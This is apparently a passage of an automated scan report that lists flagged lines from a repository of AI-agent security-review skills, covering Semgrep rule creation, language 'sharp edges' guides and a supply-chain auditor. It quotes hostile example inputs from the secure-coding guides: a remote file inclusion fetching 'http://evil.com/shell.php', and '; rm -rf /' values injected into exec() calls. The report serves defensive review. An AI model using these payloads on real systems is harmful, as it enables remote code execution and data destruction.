text here. Supported inline tags also include `<sup>`, `<sub>`, `<kbd>`, `<del>`, and `<a href="https://…">`. The page sanitizes fragments and converts them to Markdown when preparing a PR comment. Only safe link targets survive; arbitrary - Network accessline 71
and `<a href="https://…">`. The page sanitizes fragments and converts them to
plugins/review-walkthrough/skills/review-walkthrough/scripts/render_walkthrough.py
- Executable scriptline 1
#!/usr/bin/env python3
plugins/review-walkthrough/skills/review-walkthrough/template.html
- Network accessline 888
parent.appendChild(document.createTextNode(node.textContent)); } else if (node.nodeType === 1) { if (node.namespaceURI !== 'http://www.w3.org/1999/xhtml' - Network accessline 889
} else if (node.nodeType === 1) { if (node.namespaceURI !== 'http://www.w3.org/1999/xhtml' || !FRAGMENT_TAGS_OK.test(node.localName)) { - Network accessline 890
if (node.namespaceURI !== 'http://www.w3.org/1999/xhtml'
plugins/rust-review/skills/rust-review/SKILL.md
- Broad permissionsline 1
Agent AskUserQuestion SendMessage TaskCreate TaskUpdate TaskList Read Write Bash - Dangerous shell operationline 267
# zsh-safe: `find … -delete` never aborts on no-match (an `rm PREFIX-*.md` glob would). - Dangerous shell operationline 270
find "${output_dir}/findings" -maxdepth 1 -type f -name "${pfx}-*.md" -delete
plugins/second-opinion/skills/second-opinion/SKILL.md
- Broad permissionsline 1
Bash Read Glob Grep AskUserQuestion
plugins/second-opinion/skills/second-opinion/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/second-opinion/skills/second-opinion/references/antigravity-invocation.md
- Network accessline 25
The argument form also works with the previously tested CLI 1.1.21. Current [headless mode documentation](https://antigravity.google/docs/cli/headless/) - Network accessline 26
Current [headless mode documentation](https://antigravity.google/docs/cli/headless/) - Instruction override signalline 37
Request review findings in the final response. Do not use plan mode or `--dangerously-skip-permissions`. Preserve the user's permission settings; - Instruction override signalline 38
`--dangerously-skip-permissions`. Preserve the user's permission settings; - Network accessline 46
| Failure | Response | |---------|----------| | Executable missing | Check `~/.local/bin`, then report the [installation instructions](https://antigravity.google/docs/cli/getting-started) | - Network accessline 47
|---------|----------| | Executable missing | Check `~/.local/bin`, then report the [installation instructions](https://antigravity.google/docs/cli/getting-started) | | Empty prompt | Use the attached `-p=` argument form | - Network accessline 48
| Executable missing | Check `~/.local/bin`, then report the [installation instructions](https://antigravity.google/docs/cli/getting-started) |
plugins/second-opinion/skills/second-opinion/references/codex-invocation.md
- Network accessline 33
These options are documented in OpenAI's [non-interactive mode guide](https://learn.chatgpt.com/docs/non-interactive-mode). - Network accessline 34
[non-interactive mode guide](https://learn.chatgpt.com/docs/non-interactive-mode). - Network accessline 35
No MCP server is involved. The [Codex changelog](https://learn.chatgpt.com/docs/changelog) records removal of `codex mcp-server` in CLI 0.154.0. - Network accessline 36
[Codex changelog](https://learn.chatgpt.com/docs/changelog) records removal
plugins/second-opinion/skills/second-opinion/references/gemini-invocation.md
plugins/semgrep-rule-creator/skills/semgrep-rule-creator/SKILL.md
- Broad permissionsline 1
Bash Read Write Edit Glob Grep WebFetch - Dangerous shell operationline 44
pattern: eval(...) - Dangerous shell operationline 67
pattern: os.system("rm " + $VAR) - Dangerous shell operationline 98
**Why prioritize taint mode?** Pattern matching finds syntax but misses context. A pattern `eval($X)` matches both `eval(user_input)` (vulnerable) and `eval("safe_literal")` (safe). Taint mode tracks data flow, so it only alerts when untrus - Dangerous shell operationline 116
message: User input passed to eval() allows code execution - Dangerous shell operationline 121
- pattern: eval(...) - Dangerous shell operationline 127
eval(request.args.get('code')) - Dangerous shell operationline 130
eval("print('safe')") - Network accessline 159
1. [Rule Syntax](https://raw.githubusercontent.com/semgrep/semgrep-docs/refs/heads/main/docs/writing-rules/rule-syntax.mdx) - Network accessline 160
2. [Pattern Syntax](https://raw.githubusercontent.com/semgrep/semgrep-docs/refs/heads/main/docs/writing-rules/pattern-syntax.mdx) - Network accessline 161
3. [Testing Rules](https://raw.githubusercontent.com/semgrep/semgrep-docs/refs/heads/main/docs/writing-rules/testing-rules.mdx) - Network accessline 162
4. [Taint analysis](https://raw.githubusercontent.com/semgrep/semgrep-docs/refs/heads/main/docs/writing-rules/data-flow/taint-mode/overview.mdx) - Network accessline 163
5. [Advanced techniques for taint analysis](https://raw.githubusercontent.com/semgrep/semgrep-docs/refs/heads/main/docs/writing-rules/data-flow/taint-mode/advanced.mdx) - Network accessline 164
6. [Constant propagation](https://raw.githubusercontent.com/semgrep/semgrep-docs/refs/heads/main/docs/writing-rules/data-flow/constant-propagation.mdx) - Network accessline 165
7. [Trail of Bits Testing Handbook - Semgrep chapter](https://raw.githubusercontent.com/trailofbits/testing-handbook/refs/heads/main/content/docs/static-analysis/semgrep/10-advanced.md)
plugins/semgrep-rule-creator/skills/semgrep-rule-creator/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/semgrep-rule-creator/skills/semgrep-rule-creator/references/quick-reference.md
- Dangerous shell operationline 127
- pattern: eval(...)
plugins/semgrep-rule-variant-creator/skills/semgrep-rule-variant-creator/SKILL.md
- Broad permissionsline 1
Bash Read Write Edit Glob Grep WebFetch Workflow - Network accessline 220
- [Pattern Syntax](https://semgrep.dev/docs/writing-rules/pattern-syntax) — metavariables and matching - Network accessline 221
- [Pattern Examples](https://semgrep.dev/docs/writing-rules/pattern-examples) — per-language references, the most useful page when translating - Network accessline 222
- [Testing Rules](https://semgrep.dev/docs/writing-rules/testing-rules) — annotation semantics - Network accessline 223
- [Trail of Bits Testing Handbook](https://appsec.guide/docs/static-analysis/semgrep/advanced/) — advanced taint patterns
plugins/semgrep-rule-variant-creator/skills/semgrep-rule-variant-creator/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/semgrep-rule-variant-creator/skills/semgrep-rule-variant-creator/references/language-syntax-guide.md
- Dangerous shell operationline 35
pattern: eval($USER_INPUT) - Dangerous shell operationline 37
# Go doesn't have eval() - what's the equivalent danger? - Network accessline 146
- `"<target language> <vulnerability>"` (e.g., "java sql injection") - Standard library documentation - [Semgrep Pattern Examples](https://semgrep.dev/docs/writing-rules/pattern-examples) - Per-language pattern references - Network accessline 148
- [Semgrep Pattern Examples](https://semgrep.dev/docs/writing-rules/pattern-examples) - Per-language pattern references
plugins/sharp-edges/.claude-plugin/plugin.json
plugins/sharp-edges/skills/sharp-edges/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/sharp-edges/skills/sharp-edges/references/case-studies.md
plugins/sharp-edges/skills/sharp-edges/references/config-patterns.md
plugins/sharp-edges/skills/sharp-edges/references/lang-java.md
- Network accessline 234
// DANGEROUS: Even with DTD disabled factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); - Network accessline 235
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); - Network accessline 241
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); - Network accessline 242
factory.setFeature("http://xml.org/sax/features/external-general-entities", false); - Network accessline 243
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
plugins/sharp-edges/skills/sharp-edges/references/lang-javascript.md
plugins/sharp-edges/skills/sharp-edges/references/lang-php.md
- Network accessline 120
// DANGEROUS: Remote File Inclusion (if allow_url_include=On) include($_GET['url']); // Attacker: ?url=http://evil.com/shell.php - Network accessline 122
// Attacker: ?url=http://evil.com/shell.php - Dangerous shell operationline 167
exec("grep " . $_GET['pattern'] . " file.txt"); - Dangerous shell operationline 170
// Attacker: ?dir=; rm -rf /
plugins/sharp-edges/skills/sharp-edges/references/lang-python.md
- Dangerous shell operationline 36
eval(user_input) # Executes Python expression - Dangerous shell operationline 37
exec(user_input) # Executes Python statements - Dangerous shell operationline 41
exec(code) - Dangerous shell operationline 44
# In Python 2: input() == eval(raw_input()) - Dangerous shell operationline 203
eval(f'f"{user_input}"') # Code execution - Dangerous shell operationline 244
# user_input = "; rm -rf /" → command injection - Dangerous shell operationline 266
| `eval(`, `exec(`, `compile(` | Code execution |
plugins/sharp-edges/skills/sharp-edges/references/lang-ruby.md
- Dangerous shell operationline 7
eval(user_input) - Dangerous shell operationline 106
exec("ls #{params[:dir]}") - Dangerous shell operationline 109
# Attacker: dir="; rm -rf /" - Dangerous shell operationline 198
eval("\"#{template}\"") # If template contains #{} - Dangerous shell operationline 262
| `eval(`, `instance_eval(` | Code execution |
plugins/sharp-edges/skills/sharp-edges/references/language-specific.md
- Dangerous shell operationline 484
eval(user_input) # Executes Python expression - Dangerous shell operationline 485
exec(user_input) # Executes Python statements - Dangerous shell operationline 489
input() # In Python 2, equivalent to eval(raw_input()) - Dangerous shell operationline 540
eval(user_input) # Executes Ruby code
plugins/spec-to-code-compliance/.claude-plugin/plugin.json
plugins/spec-to-code-compliance/skills/spec-to-code-compliance/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/spec-to-code-compliance/skills/spec-to-code-compliance/resources/ANALYSIS_FORMAT.md
plugins/static-analysis/skills/codeql/SKILL.md
- Broad permissionsline 1
Bash Read Write Edit Glob Grep AskUserQuestion TaskCreate TaskList TaskUpdate TaskGet - Network accessline 143
echo " gh extension install github/gh-codeql # then: gh codeql install-stub" >&2 echo " brew install --cask codeql" >&2 echo " https://github.com/github/codeql-action/releases (codeql-bundle)" >&2 - Network accessline 144
echo " brew install --cask codeql" >&2 echo " https://github.com/github/codeql-action/releases (codeql-bundle)" >&2 exit 1 - Network accessline 145
echo " https://github.com/github/codeql-action/releases (codeql-bundle)" >&2 - Network accessline 158
# the whole build before failing. if ! command -v uv >/dev/null 2>&1; then echo "ERROR: uv not found on PATH (https://docs.astral.sh/uv/getting-started/)" >&2 - Network accessline 159
if ! command -v uv >/dev/null 2>&1; then echo "ERROR: uv not found on PATH (https://docs.astral.sh/uv/getting-started/)" >&2 exit 1 - Network accessline 160
echo "ERROR: uv not found on PATH (https://docs.astral.sh/uv/getting-started/)" >&2
plugins/static-analysis/skills/codeql/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/static-analysis/skills/codeql/references/build-fixes.md
plugins/static-analysis/skills/codeql/references/ruleset-catalog.md
- Network accessline 53
**Source:** [github.com/GitHubSecurityLab/CodeQL-Community-Packs](https://github.com/GitHubSecurityLab/CodeQL-Community-Packs)
plugins/static-analysis/skills/codeql/scripts/build_log.sh
- Executable scriptline 1
#!/usr/bin/env bash
plugins/static-analysis/skills/codeql/scripts/check_db_quality.py
- Executable scriptline 1
Executable file
plugins/static-analysis/skills/codeql/scripts/find_databases.sh
- Executable scriptline 1
#!/usr/bin/env bash
plugins/static-analysis/skills/codeql/scripts/generate_suite.sh
plugins/static-analysis/skills/codeql/scripts/test_build_log.py
- Executable scriptline 1
Executable file
plugins/static-analysis/skills/codeql/scripts/test_build_mode_claims.py
- Executable scriptline 1
Executable file
plugins/static-analysis/skills/codeql/scripts/test_check_db_quality.py
- Executable scriptline 1
Executable file
plugins/static-analysis/skills/codeql/scripts/test_find_databases.py
- Executable scriptline 1
Executable file
plugins/static-analysis/skills/codeql/scripts/test_generation_scripts.py
plugins/static-analysis/skills/codeql/scripts/test_script_flags.py
- Executable scriptline 1
Executable file
plugins/static-analysis/skills/codeql/scripts/test_section_pointers.py
- Executable scriptline 1
Executable file
plugins/static-analysis/skills/codeql/scripts/test_shell_blocks.py
- Executable scriptline 1
Executable file
plugins/static-analysis/skills/codeql/scripts/test_suite_templates.py
- Executable scriptline 1
Executable file
plugins/static-analysis/skills/codeql/scripts/test_verify_query_suite.py
- Executable scriptline 1
Executable file
plugins/static-analysis/skills/codeql/scripts/verify_query_suite.py
- Executable scriptline 1
Executable file
plugins/static-analysis/skills/codeql/workflows/create-data-extensions.md
- Network accessline 266
- [Threat models reference](../references/threat-models.md) — control which source categories are active during analysis - [CodeQL data extensions](https://codeql.github.com/docs/codeql-cli/using-custom-queries-with-the-codeql-cli/#using-ex - Network accessline 267
- [CodeQL data extensions](https://codeql.github.com/docs/codeql-cli/using-custom-queries-with-the-codeql-cli/#using-extension-packs) - Network accessline 268
- [Customizing library models](https://codeql.github.com/docs/codeql-language-guides/customizing-library-models-for-python/)
plugins/static-analysis/skills/sarif-parsing/SKILL.md
- Broad permissionsline 1
Bash Read Glob Grep - Network accessline 244
aggregated = { "version": "2.1.0", "$schema": "https://json.schemastore.org/sarif-2.1.0.json", - Network accessline 245
"version": "2.1.0", "$schema": "https://json.schemastore.org/sarif-2.1.0.json", "runs": [] - Network accessline 246
"$schema": "https://json.schemastore.org/sarif-2.1.0.json", - Network accessline 487
- [OASIS SARIF 2.1.0 Specification](https://docs.oasis-open.org/sarif/sarif/v2.1.0/sarif-v2.1.0.html) - Network accessline 488
- [Microsoft SARIF Tutorials](https://github.com/microsoft/sarif-tutorials) - Network accessline 489
- [SARIF SDK (.NET)](https://github.com/microsoft/sarif-sdk) - Network accessline 490
- [sarif-tools (Python)](https://github.com/microsoft/sarif-tools) - Network accessline 491
- [pysarif (Python)](https://github.com/Kjeld-P/pysarif) - Network accessline 492
- [GitHub SARIF Support](https://docs.github.com/en/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning) - Network accessline 493
- [SARIF Validator](https://sarifweb.azurewebsites.net/)
plugins/static-analysis/skills/sarif-parsing/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/static-analysis/skills/sarif-parsing/resources/fixtures/codeql-no-level.sarif
plugins/static-analysis/skills/sarif-parsing/resources/fixtures/levels-on-results.sarif
plugins/static-analysis/skills/sarif-parsing/resources/sarif_helpers.py
- Executable scriptline 1
Executable file - Network accessline 299
merged = { "version": "2.1.0", "$schema": "https://json.schemastore.org/sarif-2.1.0.json", - Network accessline 300
"version": "2.1.0", "$schema": "https://json.schemastore.org/sarif-2.1.0.json", "runs": [], - Network accessline 301
"$schema": "https://json.schemastore.org/sarif-2.1.0.json",
plugins/static-analysis/skills/sarif-parsing/resources/test_sarif_helpers.py
- Executable scriptline 1
Executable file
plugins/static-analysis/skills/semgrep/SKILL.md
plugins/static-analysis/skills/semgrep/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/static-analysis/skills/semgrep/references/rulesets.md
- Network accessline 126
| Languages | Source | Why Required | |-----------|--------|--------------| | Python, Go, Ruby, JS/TS, Terraform, HCL | [Trail of Bits](https://github.com/trailofbits/semgrep-rules) | Security audit patterns from real engagements (AGPLv3) | - Network accessline 127
|-----------|--------|--------------| | Python, Go, Ruby, JS/TS, Terraform, HCL | [Trail of Bits](https://github.com/trailofbits/semgrep-rules) | Security audit patterns from real engagements (AGPLv3) | | C, C++ | [0xdea](https://github.com - Network accessline 128
| Python, Go, Ruby, JS/TS, Terraform, HCL | [Trail of Bits](https://github.com/trailofbits/semgrep-rules) | Security audit patterns from real engagements (AGPLv3) | - Network accessline 129
| C, C++ | [0xdea](https://github.com/0xdea/semgrep-rules) | Memory safety, low-level vulnerabilities | - Network accessline 130
| Solidity, Cairo, Rust | [Decurity](https://github.com/Decurity/semgrep-smart-contracts) | Smart contract vulnerabilities, DeFi exploits | - Network accessline 131
| Go | [dgryski](https://github.com/dgryski/semgrep-go) | Additional Go-specific patterns | - Network accessline 132
| Android (Java/Kotlin) | [MindedSecurity](https://github.com/mindedsecurity/semgrep-rules-android-security) | OWASP MASTG-derived mobile security rules | - Network accessline 133
| Java, Go, JS/TS, C#, Python, PHP | [elttam](https://github.com/elttam/semgrep-rules) | Security consulting patterns | - Network accessline 134
| Dockerfile, PHP, Go, Java | [kondukto](https://github.com/kondukto-io/semgrep-rules) | Container and web app security | - Network accessline 135
| PHP, Kotlin, Java | [dotta](https://github.com/federicodotta/semgrep-rules) | Pentest-derived web/mobile app rules | - Network accessline 136
| Terraform, HCL | [HashiCorp](https://github.com/hashicorp-forge/semgrep-rules) | HashiCorp infrastructure patterns | - Network accessline 137
| Swift, Java, Cobol | [akabe1](https://github.com/akabe1/akabe1-semgrep-rules) | iOS and legacy system patterns | - Network accessline 138
| Java | [Atlassian Labs](https://github.com/atlassian-labs/atlassian-sast-ruleset) | Atlassian-maintained Java rules | - Network accessline 139
| Python, JS/TS, Java, Ruby, Go, PHP | [Apiiro](https://github.com/apiiro/malicious-code-ruleset) | Malicious code detection, supply chain | - Network accessline 150
Or browse the [Semgrep Registry](https://semgrep.dev/explore). - Network accessline 158
"javascript": ["p/javascript", "p/react", "p/nodejs"], "docker": ["p/dockerfile"], "third_party": ["https://github.com/trailofbits/semgrep-rules"] - Network accessline 159
"docker": ["p/dockerfile"], "third_party": ["https://github.com/trailofbits/semgrep-rules"] } - Network accessline 160
"third_party": ["https://github.com/trailofbits/semgrep-rules"]
plugins/static-analysis/skills/semgrep/references/scan-modes.md
- Dangerous shell operationline 111
rm -f "$out"
plugins/static-analysis/skills/semgrep/scripts/merge_sarif.py
- Executable scriptline 1
Executable file - Network accessline 165
merged = { "version": "2.1.0", "$schema": "https://json.schemastore.org/sarif-2.1.0.json", - Network accessline 166
"version": "2.1.0", "$schema": "https://json.schemastore.org/sarif-2.1.0.json", "runs": [], - Network accessline 167
"$schema": "https://json.schemastore.org/sarif-2.1.0.json",
plugins/static-analysis/skills/semgrep/scripts/run-scans.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 38
--output-dir DIR absolute path for results; raw/ and repos/ are created under it --mode MODE run-all | important-only --rulesets FILE JSON: {"baseline":[...], "<language>":[...], "third_party":["https://..."]} - Network accessline 39
--mode MODE run-all | important-only --rulesets FILE JSON: {"baseline":[...], "<language>":[...], "third_party":["https://..."]} --pro add --pro to every command (Semgrep Pro engine) - Network accessline 40
--rulesets FILE JSON: {"baseline":[...], "<language>":[...], "third_party":["https://..."]} - Dangerous shell operationline 148
find "$dir" \( -name '*.yaml' -o -name '*.yml' \) -type f "$@" -print -delete - Network accessline 279
jq -e ' (.third_party // []) | all(type == "string" and test("^https://[A-Za-z0-9.-]+(:[0-9]+)?(/[A-Za-z0-9._-]+)+(\\.git)?/?$")) - Network accessline 280
(.third_party // []) | all(type == "string" and test("^https://[A-Za-z0-9.-]+(:[0-9]+)?(/[A-Za-z0-9._-]+)+(\\.git)?/?$")) ' "$RULESETS_FILE" >/dev/null 2>&1 || die "third_party entries must be https git URLs" - Network accessline 281
| all(type == "string" and test("^https://[A-Za-z0-9.-]+(:[0-9]+)?(/[A-Za-z0-9._-]+)+(\\.git)?/?$")) - Dangerous shell operationline 309
cleanup() { rm -rf "$WORK"; } - Dangerous shell operationline 352
eval "$__name=()" - Dangerous shell operationline 355
eval "$__name+=(\"\$__line\")" - Dangerous shell operationline 387
rm -rf "$RAW_DIR" - Dangerous shell operationline 408
rm -rf "$dest" - Dangerous shell operationline 439
rm -rf "$dest" - Dangerous shell operationline 543
# than a string run through eval: `eval "$cmd" &` reports exit status 1 whatever the command - Network accessline 730
jq -nc --arg lang "$lang" --arg ruleset "$ruleset" --arg json "$json" \ - Network accessline 739
err=$(tail -c 800 "$WORK/err.$stem" 2>/dev/null || true) [ -n "$err" ] || err="semgrep exited $rc" jq -nc --arg lang "$lang" --arg ruleset "$ruleset" --arg json "$json" \ - Network accessline 740
[ -n "$err" ] || err="semgrep exited $rc" jq -nc --arg lang "$lang" --arg ruleset "$ruleset" --arg json "$json" \ --arg sarif "$sarif" --arg error "$err" \ - Network accessline 741
jq -nc --arg lang "$lang" --arg ruleset "$ruleset" --arg json "$json" \
plugins/static-analysis/skills/semgrep/scripts/test_merge_sarif.py
- Executable scriptline 1
Executable file
plugins/static-analysis/skills/semgrep/workflows/scan-workflow.md
- Network accessline 68
if ! command -v semgrep >/dev/null 2>&1; then echo "ERROR: semgrep is not installed. Install from https://semgrep.dev/docs/getting-started/" - Network accessline 69
echo "ERROR: semgrep is not installed. Install from https://semgrep.dev/docs/getting-started/" - Network accessline 168
"javascript": ["p/javascript", "p/react", "p/nodejs"], "docker": ["p/dockerfile"], "third_party": ["https://github.com/trailofbits/semgrep-rules"] - Network accessline 169
"docker": ["p/dockerfile"], "third_party": ["https://github.com/trailofbits/semgrep-rules"] } - Network accessline 170
"third_party": ["https://github.com/trailofbits/semgrep-rules"] - Network accessline 223
**Third-party (auto-included for detected languages):** - [x] Trail of Bits rules - https://github.com/trailofbits/semgrep-rules - Network accessline 224
- [x] Trail of Bits rules - https://github.com/trailofbits/semgrep-rules - Network accessline 277
Repository URLs go under `third_party` and nowhere else. Registry identifiers like `p/python` go under a language key; a `https://…` there fails the identifier check and the script exits - Network accessline 278
go under a language key; a `https://…` there fails the identifier check and the script exits - Network accessline 309
Repository URLs go under `third_party` and nowhere else. A `https://…` under a language key - Dangerous shell operationline 392
[ -n "$OUTPUT_DIR" ] && rm -rf "$OUTPUT_DIR/repos"
plugins/supply-chain-risk-auditor/skills/supply-chain-risk-auditor/SKILL.md
- Broad permissionsline 1
Read Write Bash Glob Grep
plugins/supply-chain-risk-auditor/skills/supply-chain-risk-auditor/assets/trail-of-bits-mark.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="94" height="56" fill="none" viewBox="0 0 94 56"><path fill="#F0F4F7" d="m34.04 54.662-7.61-4.147L24.593 56l9.433-1.335c-.029 0-.043 0 .014-.003"/><path fill="#F0F4F7" d="m34.039 54.662-.014.003
plugins/supply-chain-risk-auditor/skills/supply-chain-risk-auditor/scripts/collect.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 127
name = entry.get("name") or key.rsplit("node_modules/", 1)[1] resolved = str(entry.get("resolved") or "") if entry.get("integrity") and resolved.startswith("https://registry.npmjs.org/"): - Network accessline 128
resolved = str(entry.get("resolved") or "") if entry.get("integrity") and resolved.startswith("https://registry.npmjs.org/"): out.append(("npm", name, entry["version"], bool(entry.get("dev")))) - Network accessline 129
if entry.get("integrity") and resolved.startswith("https://registry.npmjs.org/"): - Network accessline 140
f"apply to it" ) if not resolved.startswith("https://registry.npmjs.org/") - Network accessline 141
) if not resolved.startswith("https://registry.npmjs.org/") else "lockfile entry carries no integrity hash", - Network accessline 142
if not resolved.startswith("https://registry.npmjs.org/")
plugins/supply-chain-risk-auditor/skills/supply-chain-risk-auditor/scripts/model.py
- Executable scriptline 1
Executable file
plugins/supply-chain-risk-auditor/skills/supply-chain-risk-auditor/scripts/render.py
- Executable scriptline 1
#!/usr/bin/env python3
plugins/supply-chain-risk-auditor/skills/supply-chain-risk-auditor/scripts/sources.py
- Executable scriptline 1
Executable file - Network accessline 205
data = json.dumps(payload).encode() if payload is not None else None request = urllib.request.Request(url, data=data, headers={**UA, **headers}, method=method) - Network accessline 206
request = urllib.request.Request(url, data=data, headers={**UA, **headers}, method=method) - Network accessline 302
query["version"] = version payload["queries"].append(query) data = http.post_json("https://api.osv.dev/v1/querybatch", payload) - Network accessline 303
payload["queries"].append(query) data = http.post_json("https://api.osv.dev/v1/querybatch", payload) results = data.get("results", []) - Network accessline 304
data = http.post_json("https://api.osv.dev/v1/querybatch", payload) - Network accessline 352
quoted = urllib.parse.quote(name, safe="@").replace("/", "%2F") doc = http.get_json(f"https://registry.npmjs.org/{quoted}") - Network accessline 353
doc = http.get_json(f"https://registry.npmjs.org/{quoted}") - Network accessline 374
def npm_downloads(http: Http, name: str) -> int: quoted = urllib.parse.quote(name, safe="@").replace("/", "%2F") data = http.get_json(f"https://api.npmjs.org/downloads/point/last-week/{quoted}") - Network accessline 375
quoted = urllib.parse.quote(name, safe="@").replace("/", "%2F") data = http.get_json(f"https://api.npmjs.org/downloads/point/last-week/{quoted}") count = data.get("downloads") - Network accessline 376
data = http.get_json(f"https://api.npmjs.org/downloads/point/last-week/{quoted}") - Network accessline 396
doc = http.get_json(f"https://pypi.org/pypi/{name}/json") - Network accessline 439
escaped = re.sub(r"[A-Z]", lambda m: "!" + m.group(0).lower(), module) return http.get_json(f"https://proxy.golang.org/{escaped}/@latest") - Network accessline 440
return http.get_json(f"https://proxy.golang.org/{escaped}/@latest") - Network accessline 459
quoted = name.replace("/", "%2F") doc = http.get_json( f"https://api.deps.dev/v3alpha/systems/{system}/packages/{quoted}/versions/{version}" - Network accessline 460
doc = http.get_json( f"https://api.deps.dev/v3alpha/systems/{system}/packages/{quoted}/versions/{version}" ) - Network accessline 461
f"https://api.deps.dev/v3alpha/systems/{system}/packages/{quoted}/versions/{version}" - Network accessline 484
deps.dev and the registries return whatever a manifest declared: npm's bare `owner/repo` shorthand (which means GitHub), `git+https://….git`, scp-style - Network accessline 485
`owner/repo` shorthand (which means GitHub), `git+https://….git`, scp-style - Network accessline 557
[Credential-related source omitted] - Network accessline 558
headers["Authorization"] = f"Bearer {token}" doc = http.get_json(f"https://api.github.com/repos/{owner_repo}", headers=headers) return { - Network accessline 559
doc = http.get_json(f"https://api.github.com/repos/{owner_repo}", headers=headers) - Network accessline 588
for candidate in candidates: try: http.get_json(f"https://api.github.com/repos/{candidate}", headers=headers) - Network accessline 589
try: http.get_json(f"https://api.github.com/repos/{candidate}", headers=headers) return True - Network accessline 590
http.get_json(f"https://api.github.com/repos/{candidate}", headers=headers) - Network accessline 613
slug = normalize_repo(repo_id) doc = http.get_json(f"https://api.scorecard.dev/projects/{slug}") - Network accessline 614
doc = http.get_json(f"https://api.scorecard.dev/projects/{slug}")
plugins/supply-chain-risk-auditor/skills/supply-chain-risk-auditor/scripts/test_collect.py
- Executable scriptline 1
Executable file - Network accessline 53
def test_non_registry_specs_classified(): for spec in ("file:../local", "workspace:*", "git+https://x/y.git", "owner/repo"): - Network accessline 54
for spec in ("file:../local", "workspace:*", "git+https://x/y.git", "owner/repo"): - Network accessline 86
REG = "https://registry.npmjs.org" - Network accessline 131
"node_modules/@acme/private": { "version": "3.0.0", "resolved": "https://npm.acme.internal/@acme/private/-/private-3.0.0.tgz", - Network accessline 132
"version": "3.0.0", "resolved": "https://npm.acme.internal/@acme/private/-/private-3.0.0.tgz", "integrity": "sha512-x", - Network accessline 133
"resolved": "https://npm.acme.internal/@acme/private/-/private-3.0.0.tgz", - Network accessline 210
'name = "Left_Pad"', 'version = "1.0.0"', 'source = { registry = "https://pypi.org/simple" }', - Network accessline 211
'version = "1.0.0"', 'source = { registry = "https://pypi.org/simple" }', ] - Network accessline 212
'source = { registry = "https://pypi.org/simple" }', - Network accessline 237
'name = "real"', 'version = "2.0.0"', 'source = { registry = "https://pypi.org/simple" }', - Network accessline 238
'version = "2.0.0"', 'source = { registry = "https://pypi.org/simple" }', ] - Network accessline 239
'source = { registry = "https://pypi.org/simple" }', - Network accessline 384
OSV = "https://api.osv.dev/v1/querybatch" - Network accessline 491
PROXY = "https://proxy.golang.org" - Network accessline 545
) pushed = (datetime.now(UTC) - timedelta(days=10)).isoformat() gh = "https://api.github.com/repos" - Network accessline 546
pushed = (datetime.now(UTC) - timedelta(days=10)).isoformat() gh = "https://api.github.com/repos" responses = { - Network accessline 547
gh = "https://api.github.com/repos" - Network accessline 548
responses = { ("GET", "https://registry.npmjs.org/tiny-dep", ""): { "dist-tags": {"latest": "1.2.3"}, - Network accessline 549
("GET", "https://registry.npmjs.org/tiny-dep", ""): { - Network accessline 551
"versions": {"1.2.3": {"dist": {}}}, "maintainers": [{"name": "alice"}, {"name": "bob"}], "repository": {"url": "git+https://github.com/acme/tiny-dep.git"}, - Network accessline 552
"maintainers": [{"name": "alice"}, {"name": "bob"}], "repository": {"url": "git+https://github.com/acme/tiny-dep.git"}, }, - Network accessline 553
"repository": {"url": "git+https://github.com/acme/tiny-dep.git"}, - Network accessline 554
}, ("GET", "https://registry.npmjs.org/ghost-dep", ""): None, ("GET", "https://api.npmjs.org/downloads/point/last-week/tiny-dep", ""): { - Network accessline 555
("GET", "https://registry.npmjs.org/ghost-dep", ""): None, - Network accessline 556
